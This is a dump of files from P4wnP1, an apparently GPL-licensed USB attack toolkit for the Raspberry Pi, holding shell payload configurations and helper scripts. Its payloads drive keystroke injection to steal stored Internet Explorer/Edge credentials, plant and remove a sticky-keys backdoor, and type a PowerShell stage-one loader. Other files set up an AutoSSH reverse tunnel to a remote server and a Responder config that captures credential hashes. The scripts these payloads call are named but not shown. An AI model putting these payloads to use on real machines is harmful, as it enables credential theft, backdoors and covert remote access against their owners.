License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | # P4wnP1 demo payload by MaMe82 20 | # ========================== 21 | # 22 | # Steals stored plain credentials of Internet Explorer / Microsoft Edge 23 | # and stores them on the built-in flash drive 24 | # 25 | # - shows how to deploy a custom drive label to the USB flash drive 26 | # - shows how to access the flash drive from powershell 27 | # - shows how to output a DuckyScript from a dedicated file 28 | # - shows how a multifile payload could be structured in a dedicated sub directory 29 | # 30 | # Note: RNDIS is enabled, but not needed. This is to keep network access 31 | # while following the tutorial, on payload development writen for hakin9 32 | 33 | # assign custom drivelabel to UMS 34 | UMSLABEL="HAKIN9" 35 | fatlabel $wdir/USB_STORAGE/image.bin $UMSLABEL 36 | 37 | # ============================= 38 | # USB setup 39 | # ============================= 40 | USB_VID="0x1d6b" # Vendor ID 41 | USB_PID="0x1002" # Product ID 42 | USE_ECM=false # we need no Linux/Mac networking 43 | USE_RNDIS=true # RNDIS network device to enable hash stealing 44 | USE_HID=true # HID keyboard to allow entering cracked password 45 | USE_UMS=true # enable USB Mass Storage 46 | 47 | # Keyboard language for outhid and duckhid commands 48 | # possible languages: "be", "br", "ca", "ch", "de", "dk", "es", "fi", 49 | # "fr", "gb", "hr", "it", "no", "pt", "ru", "si", "sv", "tr", "us" 50 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET 51 | 52 | function onKeyboardUp() 53 | { 54 | # execute DuckyScript responsible for bringing up PowerShell 55 | cat $wdir/payloads/hakin9_tutorial/startps.duck | duckhid 56 | 57 | # print out the PowerShell script as raw ASCII 58 | # Important: The script has to end with an empty line, to force pressing 59 | # RETURN after the last line 60 | cat $wdir/payloads/hakin9_tutorial/stealcreds.ps1 | outhid 61 | } 62 | 63 | 64 | -------------------------------------------------------------------------------- /ssh/pushkey.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # This file is part of P4wnP1. 4 | # 5 | # Copyright (c) 2017, Marcus Mengs. 6 | # 7 | # P4wnP1 is free software: you can redistribute it and/or modify 8 | # it under the terms of the GNU General Public License as published by 9 | # the Free Software Foundation, either version 3 of the License, or 10 | # (at your option) any later version. 11 | # 12 | # P4wnP1 is distributed in the hope that it will be useful, 13 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | # GNU General Public License for more details. 16 | # 17 | # You should have received a copy of the GNU General Public License 18 | # along with P4wnP1. If not, see . 19 | 20 | 21 | wdir=$( cd $(dirname $BASH_SOURCE[0]) && cd .. && pwd) 22 | source $wdir/setup.cfg 23 | 24 | read -p "Enter remote SSH host to push the key on ($AUTOSSH_REMOTE_HOST): " REMOTE_HOST 25 | REMOTE_HOST=${REMOTE_HOST:-"$AUTOSSH_REMOTE_HOST"} 26 | #echo $REMOTE_HOST 27 | 28 | read -p "Enter remote SSH user to use ($AUTOSSH_REMOTE_USER): " REMOTE_USER 29 | REMOTE_USER=${REMOTE_USER:-"$AUTOSSH_REMOTE_USER"} 30 | #echo $REMOTE_USER 31 | 32 | read -p "Enter path to public key ID file ($AUTOSSH_PUBLIC_KEY): " PUBLIC_KEY 33 | PUBLIC_KEY=${PUBLIC_KEY:-"$AUTOSSH_PUBLIC_KEY"} 34 | #echo $PUBLIC_KEY 35 | 36 | read -p "Enter path to private key ID file ($AUTOSSH_PRIVATE_KEY): " PRIVATE_KEY 37 | PRIVATE_KEY=${PRIVATE_KEY:-"$AUTOSSH_PRIVATE_KEY"} 38 | #echo $PRIVATE_KEY 39 | 40 | echo 41 | echo "Trying to add P4wnP1 public key for $REMOTE_USER@$REMOTE_HOST..." 42 | echo 43 | echo " The SSH server's password is needed to publish the key, but if" 44 | echo " nothing wents wrong this is the last time it is needed." 45 | echo 46 | res=$(ssh $REMOTE_USER@$REMOTE_HOST "echo \"$(cat $PUBLIC_KEY)\" >> ~/.ssh/authorized_keys;cat ~/.ssh/authorized_keys") 47 | if echo "$res" | grep -q -e "$(cat $PUBLIC_KEY)"; then 48 | echo "... SUCCESS !" 49 | echo 50 | echo "Run the following command to test password-less access" 51 | echo "(if you're prompted for a password, something went wrong):" 52 | echo "----------------------------------------------------------" 53 | echo 54 | echo "ssh -i $PRIVATE_KEY $REMOTE_USER@$REMOTE_HOST" 55 | else 56 | echo "... failed" 57 | fi 58 | 59 | echo 60 | echo 61 | echo "You could repeat key publishing at any time (P4wnP1 has to be able to reach the" 62 | echo "target SSH server, e.g. Internet access). Use the following command:" 63 | echo "-------------------------------------------------------------------------------" 64 | echo 65 | echo "$wdir/ssh/pushkey.sh" 66 | -------------------------------------------------------------------------------- /ledtool/ledtool.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | 4 | # This file is part of P4wnP1. 5 | # 6 | # Copyright (c) 2017, Marcus Mengs. 7 | # 8 | # P4wnP1 is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # (at your option) any later version. 12 | # 13 | # P4wnP1 is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with P4wnP1. If not, see . 20 | 21 | import os 22 | import pwd 23 | import grp 24 | import time 25 | 26 | filepath = "/tmp/blink_count" 27 | uid="pi" 28 | gid="pi" 29 | ledpath = "/sys/class/leds/led0/" 30 | DELAY_PAUSE = 0.5 31 | DELAY_BLINK = 0.2 32 | 33 | def prepare(): 34 | # create control file if necessary 35 | if not os.path.exists(filepath): 36 | f = file(filepath, "w") 37 | f.write("255") # continous lit 38 | f.close() 39 | 40 | # fix ownership 41 | os.chown(filepath, pwd.getpwnam(uid).pw_uid, grp.getgrnam(gid).gr_gid) 42 | os.chmod(filepath, 0o666) 43 | 44 | # setup manual led control 45 | with open(ledpath + "trigger", "w") as trigger: 46 | trigger.write("none") 47 | 48 | # disable LED 49 | with open(ledpath + "brightness", "w") as brightness: 50 | brightness.write("1") 51 | 52 | 53 | def blink(count, delay_off, delay_on): 54 | with open(ledpath + "brightness", "w") as brightness: 55 | # if count is 255, LED should be turned on continuosly 56 | if count >= 255: 57 | brightness.write("0") 58 | brightness.seek(0) 59 | elif count == 0: 60 | brightness.write("1") 61 | brightness.seek(0) 62 | else: 63 | for i in range(count): 64 | brightness.write("0") 65 | brightness.seek(0) 66 | time.sleep(delay_on) 67 | brightness.write("1") 68 | brightness.seek(0) 69 | time.sleep(delay_off) 70 | 71 | 72 | 73 | 74 | prepare() 75 | 76 | with open(filepath, "r") as f: 77 | while True: 78 | value = f.read().split("\n")[0] # we read the whole file to prevent caching and split the needed value 79 | f.seek(0) 80 | count = 0 81 | try: 82 | count = int(value) 83 | except ValueError: 84 | count = 255 # failover if integer conversion not possible 85 | 86 | #print "File contains {0}".format(count) 87 | #print repr(value) 88 | 89 | blink(count, DELAY_BLINK, DELAY_BLINK) 90 | time.sleep(DELAY_PAUSE) 91 | 92 | 93 | -------------------------------------------------------------------------------- /payloads/stickykey/trigger.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | # 23 | # Sticky keys backdoor 24 | # - needs Admin privs 25 | # - multiple presses to NUMLOCK enable backdoor 26 | # - multiple presses to SCROLLLOCK disable backdoor 27 | # 28 | # Note: RNDIS is enabled for this payload in order to be able to get SSH access 29 | # but this isn't needed for the payload to work. In fact it should be disabled to shorten the needed time 30 | # for Windows driver installation (don't forget to change the USB_PID if RNDIS is disabled, to force driver reinstall on Windows) 31 | 32 | USB_VID="0x1d6b" # Vendor ID 33 | USB_PID="0x1004" # Product ID 34 | USE_ECM=false # we need no Linux/Mac networking 35 | USE_RNDIS=true # RNDIS network device to enable hash stealing 36 | USE_HID=true # HID keyboard to allow entering cracked password 37 | USE_UMS=false # enable USB Mass Storage 38 | 39 | lang="us" # MAKE THE KEYBOARD LANGUAGE MATCH THE TARGET or remove this line to use the setting from setup.cfg 40 | 41 | function onKeyboardUp() 42 | { 43 | 44 | 45 | while $true; do 46 | # Wait for keyboard trigger based on LED detection 47 | # NUMLOCK, CAPSLOCK or SCROLLLOCK have to be pressed 6 times frequently (max 800ms between presses) 48 | # in order to make the blocking 'key_trigger' command return 49 | # 50 | # key_trigger returns an exitcode representing the key (status LED) which has triggered 51 | key_trigger 52 | 53 | case "$?" in 54 | 2) cat $wdir/DuckyScripts/stickykey.duck | duckhid 55 | led_blink 1;; 56 | 3) cat $wdir/DuckyScripts/stickykey_remove.duck | duckhid 57 | led_blink 2;; 58 | esac 59 | done 60 | 61 | } 62 | 63 | 64 | -------------------------------------------------------------------------------- /hidtools/backdoor/ServerMethod.py: -------------------------------------------------------------------------------- 1 | 2 | # This file is part of P4wnP1. 3 | # 4 | # Copyright (c) 2017, Marcus Mengs. 5 | # 6 | # P4wnP1 is free software: you can redistribute it and/or modify 7 | # it under the terms of the GNU General Public License as published by 8 | # the Free Software Foundation, either version 3 of the License, or 9 | # (at your option) any later version. 10 | # 11 | # P4wnP1 is distributed in the hope that it will be useful, 12 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | # GNU General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with P4wnP1. If not, see . 18 | 19 | 20 | from StructHelper import StructHelper 21 | import struct 22 | 23 | class ServerMethod: 24 | def __init__(self, id, name, args): 25 | self.id = id 26 | self.name = name 27 | self.args = args 28 | self.isStarted = False 29 | self.hasFinished = False 30 | self.result = None 31 | self.hasError = False 32 | self.errorMessage = "" 33 | 34 | @staticmethod 35 | def createFromRunMethodMessage(message_data): 36 | # extract method ID 37 | id = struct.unpack("!I", message_data) 38 | message_data = message_data[4:] 39 | 40 | # extract method name 41 | name, message_data = StructHelper.extractNullTerminatedString(message_data) 42 | 43 | # remaining method data represents the args 44 | args = message_data 45 | 46 | return ServerMethod(id, name, args) 47 | 48 | def setError(self, errMsg): 49 | self.hasError = True 50 | self.errorMessage = errMsg 51 | self.hasFinished = True 52 | 53 | def setResult(self, result): 54 | if result == None: 55 | self.setError("Server method '{0}' has been called, but returned no result", self.name) 56 | return 57 | self.result = result 58 | self.hasFinished = True 59 | 60 | def createResponse(self): 61 | # this should only be called when the server method finished execution (we don't check this condition) 62 | response = struct.pack("!I", self.id) 63 | if (self.hasError): 64 | response += struct.pack("!B{0}sx".format(len(self.errorMessage)), 1, self.errorMessage) 65 | return response 66 | 67 | response += struct.pack("!B{0}", 0) 68 | response += self.result 69 | return response -------------------------------------------------------------------------------- /payloads/hid_frontdoor.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | 23 | 24 | # ============================= 25 | # USB setup 26 | # ============================= 27 | # Make sure to change USB_PID if you enable different USB functionality in order 28 | # to force Windows to enumerate the device again 29 | USB_VID="0x1d6b" # Vendor ID 30 | USB_PID="0x0137" # Product ID 31 | 32 | USE_ECM=true # if true CDC ECM will be enabled 33 | USE_RNDIS=true # if true RNDIS will be enabled 34 | USE_HID=true # if true HID (keyboard) will be enabled 35 | USE_RAWHID=true # if true HID raw device will be enabled 36 | USE_UMS=false # if true USB Mass Storage will be enabled 37 | 38 | # disable setting of static routes for all IPv4 addresses 39 | ROUTE_SPOOF=false 40 | 41 | # use LED based HID keyboard test 42 | USE_HID_TEST=true 43 | 44 | # overwrite keyboard language from setup.cfg 45 | lang="us" 46 | 47 | # blink one time when payload script get's initiated 48 | led_blink 1 # usage at thi point is invalid, as the script gets called again on SSH login 49 | 50 | function onKeyboardUp() 51 | { 52 | 53 | 54 | # start HID Server 55 | screen -dmS hidsrv bash -c "cd $wdir/hidtools/frontdoor; python hidserver.py" 56 | 57 | # blink two times when hid keyboard is usable and HID server is started 58 | led_blink 2 59 | 60 | while $true; do 61 | # wait for keyboard LED trigger 62 | key_trigger 63 | 64 | # run interactive PowerShell console 65 | cat <<- EOF | duckhid 66 | GUI r 67 | DELAY 500 68 | STRING powershell.exe 69 | ENTER 70 | DELAY 1000 71 | EOF 72 | 73 | # output stage1 command (loads stage2 via raw HID) 74 | cat $wdir/hidtools/frontdoor/stage1_mini.ps1 | outhid 75 | done 76 | } 77 | 78 | 79 | # commands in this function are ran on user login 80 | # the commans are ran by user "pi" 81 | function onLogin() 82 | { 83 | #sudo screen -d -r 84 | return 85 | } 86 | -------------------------------------------------------------------------------- /payloads/hid_mouse.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | # 23 | # Demo of P4wnP1's mouse emulation. 24 | # 25 | # Emulates a HID keyboard and a mouse. Additionally RNDIS is enabled as fallback for network 26 | # access (not needed by the payload). 27 | # 28 | # 29 | # Uses the keyboard to open paint in fullscreen and resize the canvas to 1920x1080 30 | # In the next step a MouseScript to draw a house in 3 tests is run: 31 | # Test 1: relative positioning (without steps) 32 | # Test 2: relative positioning (with steps) 33 | # Test 3: absolute positioning 34 | # 35 | # For details on P4wnP1's MouseScript languages, see the test script in $wdir/MouseScripts/test.mouse 36 | # 37 | # The HID backdoor supports P4wnP1's MouseScript with the 'SendMouseScript' command 38 | USB_VID="0x1d6b" # Vendor ID 39 | USB_PID="0x1231" # Product ID 40 | USE_RNDIS=true # RNDIS as fallback 41 | USE_HID=true # if true HID (keyboard) will be enabled 42 | USE_HID_MOUSE=true 43 | HID_KEYBOARD_TEST=true 44 | 45 | # overwrite default keyboard language 46 | lang="us" 47 | 48 | function onKeyboardUp() 49 | { 50 | 51 | 52 | # directly pipe duckyscript to "duckhid" 53 | cat <<- EOF | duckhid 54 | GUI r 55 | DELAY 500 56 | STRING notepad.exe 57 | ENTER 58 | DELAY 1000 59 | EOF 60 | 61 | ( 62 | echo 63 | echo "As soon as NUMLOCK is pressed multiple times, P4wnP1" 64 | echo "tries to open MSPaint with the following DuckyScript:" 65 | echo " $wdir/DuckyScripts/mspaint.duck" 66 | echo 67 | echo "This is followed by a script in P4wnP1's MouseScript language" 68 | echo "which could be found here:" 69 | echo " $wdir/MouseScripts/test.mouse" 70 | echo 71 | echo "The MouseScript file gives details on how to use MouseScript" 72 | echo "and hints on advantages/disadvantages of the different ways" 73 | echo "available to move the mouse" 74 | echo 75 | ) | outhid 76 | 77 | 78 | while $true; do 79 | key_trigger 80 | 81 | # use DuckyScript to open paint 82 | cat $wdir/DuckyScripts/mspaint.duck | duckhid 83 | # use MouseScript to run 3 tests (painting the a house in three different modes) 84 | # Note: the mouse script starts with a 5 second delay to allow manual interaction 85 | # like switching windows 86 | cat $wdir/MouseScripts/test.mouse | outmouse 87 | 88 | done 89 | } 90 | 91 | -------------------------------------------------------------------------------- /payloads/wifi_connect.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | 23 | 24 | # ============================= 25 | # USB setup 26 | # ============================= 27 | # Make sure to change USB_PID if you enable different USB functionality in order 28 | # to force Windows to enumerate the device again 29 | USB_VID="0x1D6B" # Vendor ID 30 | USB_PID="0x0237" # Product ID 31 | 32 | USE_ECM=true # kept enabled as fallback (could allow forwarding connection trough WiFi if added to payload) 33 | USE_RNDIS=true # kept enabled as fallback (could allow forwarding connection trough WiFi if added to payload) 34 | USE_HID=false 35 | USE_RAWHID=false 36 | USE_UMS=false 37 | 38 | # disable setting of static routes for all IPv4 addresses 39 | ROUTE_SPOOF=false 40 | 41 | WIFI_ACCESSPOINT=true 42 | WIFI_ACCESSPOINT_NAME="P4wnP1" 43 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 44 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 45 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 46 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 47 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 48 | 49 | WIFI_CLIENT=true 50 | WIFI_CLIENT_SSID="YourAPName" # name of target network 51 | WIFI_CLIENT_PSK="YourAPPassword" # passphrase for target network 52 | 53 | # The AutoSSH section enables a SSH reachback to a custom external SSH server 54 | # working like this: 55 | # 1) the target server is defined by AUTOSSH_REMOTE_HOST, the user by 56 | # AUTOSSH_REMOTE_USER 57 | # 2) P4wnP1 continuously attempts to login to this SSH server, using the 58 | # private key provided with AUTOSSH_PRIVATE_KEY 59 | # 3) In order to allow the login to succeed, the user defined by AUTOSSH_REMOTE_USER 60 | # has to have the public key from AUTOSSH_PUBLIC_KEY present in his 61 | # ~/.ssh/authorized_keys file (the script P4wnP1_working_dir/ssh/pushkey.sh 62 | # can be used to help publishing the public key to the SSH server) 63 | # 4) As soon as P4wnP1 is able to access the Internet (for example if the WIFI_CLIENT 64 | # connection succeeds and grants Internet access) the attempts to connect to 65 | # the remote SSH server should succeed 66 | # 5) On connection success, P4wnP1's SSH port 22 is forwarded to the 67 | # remote SSH server port given by AUTOSSH_REMOTE_PORT (only local host) 68 | # 6) If you login in to the remote SSH server from a different device 69 | # you are able to connect back to P4wnP1 using 70 | # ssh -p 8765 pi@localhost 71 | # 72 | # The port '8765' has to be replaced with the port configured 73 | # by AUTOSSH_REMOTE_PORT. 74 | # 75 | # Note: The public and private SSH key files used here, are generated 76 | # during P4wnP1 install and not packed into the P4wnP1 repo 77 | # (to assure a unique key pair). 78 | # If you want to (re)create a key pair, use the script in 79 | # `P4wnP1_working_dir/ssh/genkeys.sh 80 | 81 | AUTOSSH_ENABLED=true # enable AutoSSH 82 | AUTOSSH_REMOTE_HOST="remoteSSHServer.com" 83 | AUTOSSH_REMOTE_USER=root 84 | AUTOSSH_PRIVATE_KEY="$wdir/ssh/keys/P4wnP1_id" 85 | AUTOSSH_PUBLIC_KEY="$wdir/ssh/keys/P4wnP1_id.pub" 86 | AUTOSSH_REMOTE_PORT=8765 87 | -------------------------------------------------------------------------------- /payloads/network_only.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | 23 | 24 | # ============================= 25 | # USB setup 26 | # ============================= 27 | # Make sure to change USB_PID if you enable different USB functionality in order 28 | # to force Windows to enumerate the device again 29 | USB_VID="0x1D6B" # Vendor ID 30 | USB_PID="0x0237" # Product ID 31 | 32 | USE_ECM=true # if true CDC ECM will be enabled 33 | USE_RNDIS=true # if true RNDIS will be enabled 34 | USE_HID=false # if true HID (keyboard) will be enabled 35 | USE_RAWHID=false # if true HID raw device will be enabled 36 | USE_UMS=false # if true USB Mass Storage will be enabled 37 | 38 | # disable setting of static routes for all IPv4 addresses 39 | ROUTE_SPOOF=false 40 | 41 | 42 | WIFI_ACCESSPOINT=true 43 | WIFI_ACCESSPOINT_NAME="P4wnP1" 44 | WIFI_ACCESSPOINT_PSK="MaMe82-P4wnP1" 45 | WIFI_ACCESSPOINT_IP="172.24.0.1" # IP used by P4wnP1 46 | WIFI_ACCESSPOINT_NETMASK="255.255.255.0" 47 | WIFI_ACCESSPOINT_DHCP_RANGE="172.24.0.2,172.24.0.100" # DHCP Server IP Range 48 | WIFI_ACCESSPOINT_HIDE_SSID=false # don't hide ESSID 49 | 50 | BLUETOOTH_NAP=true # enable bluetooth NAP, P4wnP1 will be rechable via IP configured in setup.cfg (BLUETOOTH_NAP_IP) 51 | 52 | 53 | # The AutoSSH section enables a SSH reachback to a custom external SSH server 54 | # working like this: 55 | # 1) the target server is defined by AUTOSSH_REMOTE_HOST, the user by 56 | # AUTOSSH_REMOTE_USER 57 | # 2) P4wnP1 continuously attempts to login to this SSH server, using the 58 | # private key provided with AUTOSSH_PRIVATE_KEY 59 | # 3) In order to allow the login to succeed, the user defined by AUTOSSH_REMOTE_USER 60 | # has to have the public key from AUTOSSH_PUBLIC_KEY present in his 61 | # ~/.ssh/authorized_keys file (the scipt P4wnP1_working_dir/ssh/pushkey.sh 62 | # can be used to help publishing the public key to the SSH server) 63 | # 4) As soon as P4wnP1 is able to access the Internet (for example using ICS 64 | # with this payload, as explained here https://youtu.be/QEWaIoal5qU) the 65 | # attempts to connect to the remote SSH server should succeed 66 | # 5) On connection success, P4wnP1's SSH port 22 is forwarded to the 67 | # remote SSH server port given by AUTOSSH_REMOTE_PORT (only local host) 68 | # 6) If you login in to the remote SSH server from a different device 69 | # you are able to connect back to P4wnP1 using 70 | # ssh -p 8765 pi@localhost 71 | # 72 | # The port '8765' has to be replaced with the port configured 73 | # by AUTOSSH_REMOTE_PORT. 74 | # 75 | # Note: The public and private SSH key files used here, are generated 76 | # during P4wnP1 install and not packed into the P4wnP1 repo 77 | # (to assure a unique key pair). 78 | # If you want to (re)create a key pair, use the script in 79 | # `P4wnP1_working_dir/ssh/genkeys.sh 80 | 81 | AUTOSSH_ENABLED=true # enable AutoSSH 82 | AUTOSSH_REMOTE_HOST=YourSSH-server.com 83 | AUTOSSH_REMOTE_USER=root 84 | AUTOSSH_PRIVATE_KEY="$wdir/ssh/keys/P4wnP1_id" 85 | AUTOSSH_PUBLIC_KEY="$wdir/ssh/keys/P4wnP1_id.pub" 86 | AUTOSSH_REMOTE_PORT=8765 87 | -------------------------------------------------------------------------------- /payloads/hid_keyboard2.txt: -------------------------------------------------------------------------------- 1 | # This file is part of P4wnP1. 2 | # 3 | # Copyright (c) 2017, Marcus Mengs. 4 | # 5 | # P4wnP1 is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # P4wnP1 is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with P4wnP1. If not, see . 17 | 18 | 19 | 20 | # P4wnP1 demo payload by MaMe82 21 | # ========================== 22 | # 23 | # Emulates a HID keyboard and prints out "Keyboard is Running" 24 | # Uses NUMLOCK LED test, to check if target is ready to receive keystrokes 25 | 26 | 27 | # ============================= 28 | # USB setup 29 | # ============================= 30 | # Make sure to change USB_PID if you enable different USB functionality in order 31 | # to force Windows to enumerate the device again 32 | USB_VID="0x1d6b" # Vendor ID 33 | USB_PID="0x1230" # Product ID 34 | 35 | # Overwrite default settings (setup.cfg) for keyboard funtion 36 | USE_RNDIS=false # if true RNDIS will be enabled 37 | USE_HID=true # if true HID (keyboard) will be enabled 38 | 39 | # use LED based HID keyboard test, to fire callback to onKeyboardUp() 40 | HID_KEYBOARD_TEST=true 41 | 42 | # overwrite default keyboard language 43 | lang="de" 44 | 45 | function onKeyboardUp() 46 | { 47 | # we need no initial keyboard delay, before starting the DuckyScript 48 | # if this method gets called, we know the HID keyboard stack is usable 49 | 50 | # directly pipe duckyscript to "duckhid" 51 | cat <<- EOF | duckhid 52 | GUI r 53 | DELAY 500 54 | STRING notepad.exe 55 | ENTER 56 | DELAY 1000 57 | EOF 58 | 59 | # single command outputs piped to outhid 60 | echo "Target host finished loading HID driver" | outhid 61 | echo "Thi demo payload is located at: $wdir/$PAYLOAD" | outhid 62 | echo "If output uses wrong keyboard layout, change the 'lang' parameter in the payload script" | outhid 63 | echo "The payload uses the result of the 'key_trigger' to decide how to go on... " | outhid 64 | echo "... so grab a copy and modify it to your needs" | outhid 65 | echo "In order to run a different payload, modify 'PAYLOAD' in setup.cfg" | outhid 66 | 67 | while $true; do 68 | # multiple command outputs pipe to single "outhid" call 69 | ( 70 | echo 71 | echo "Press CAPSLOCK, SCROLLLOCK or NUMLOCK frequently" 72 | echo "to trigger the respective keyboard output" 73 | echo 74 | echo "Payload execution sleeps till a trigger key is pressed" 75 | echo 76 | ) | outhid 77 | 78 | 79 | # Wait for keyboard trigger based on LED detection 80 | # NUMLOCK, CAPSLOCK or SCROLLLOCK have to be pressed 6 times frequently (max 800ms between presses) 81 | # in order to make the blocking 'key_trigger' command return 82 | # 83 | # key_trigger returns an exitcode representing the key (status LED) which has triggered 84 | key_trigger 85 | 86 | case "$?" in 87 | 1) echo "Key trigger CAPSLOCK detected" | outhid 88 | echo "------------========---------" | outhid 89 | echo "LED blink set to: 1" | outhid 90 | led_blink 1;; 91 | 2) echo "Key trigger NUMLOCK detected" | outhid 92 | echo "------------=======---------" | outhid 93 | echo "LED blink set to: 2" | outhid 94 | led_blink 2;; 95 | 3) echo "Key trigger SCROLLLOCK detected" | outhid 96 | echo "------------==========---------" | outhid 97 | echo "LED blink set to: 3" | outhid 98 | led_blink 3;; 99 | 100 | esac 101 | done 102 | } 103 | 104 | -------------------------------------------------------------------------------- /conf/default_Responder.conf: -------------------------------------------------------------------------------- 1 | [Responder Core] 2 | 3 | ; Servers to start 4 | SQL = On 5 | SMB = On 6 | Kerberos = On 7 | FTP = On 8 | POP = On 9 | SMTP = On 10 | IMAP = On 11 | HTTP = On 12 | HTTPS = On 13 | DNS = On 14 | LDAP = On 15 | 16 | ; Custom challenge 17 | #Challenge = 1122334455667788 18 | Challenge = Random 19 | 20 | ; SQLite Database file 21 | ; Delete this file to re-capture previously captured hashes 22 | Database = Responder.db 23 | 24 | ; Default log file 25 | SessionLog = /tmp/Responder-Session.log 26 | 27 | ; Poisoners log 28 | PoisonersLog = /tmp/Poisoners-Session.log 29 | 30 | ; Analyze mode log 31 | AnalyzeLog = /tmp/Analyzer-Session.log 32 | 33 | ; Dump Responder Config log: 34 | ResponderConfigDump = /tmp/Config-Responder.log 35 | 36 | ; Specific IP Addresses to respond to (default = All) 37 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 38 | RespondTo = 39 | 40 | ; Specific NBT-NS/LLMNR names to respond to (default = All) 41 | ; Example: RespondTo = WPAD, DEV, PROD, SQLINT 42 | RespondToName = 43 | 44 | ; Specific IP Addresses not to respond to (default = None) 45 | ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 46 | DontRespondTo = 47 | 48 | ; Specific NBT-NS/LLMNR names not to respond to (default = None) 49 | ; Example: DontRespondTo = NAC, IPS, IDS 50 | DontRespondToName = ISATAP 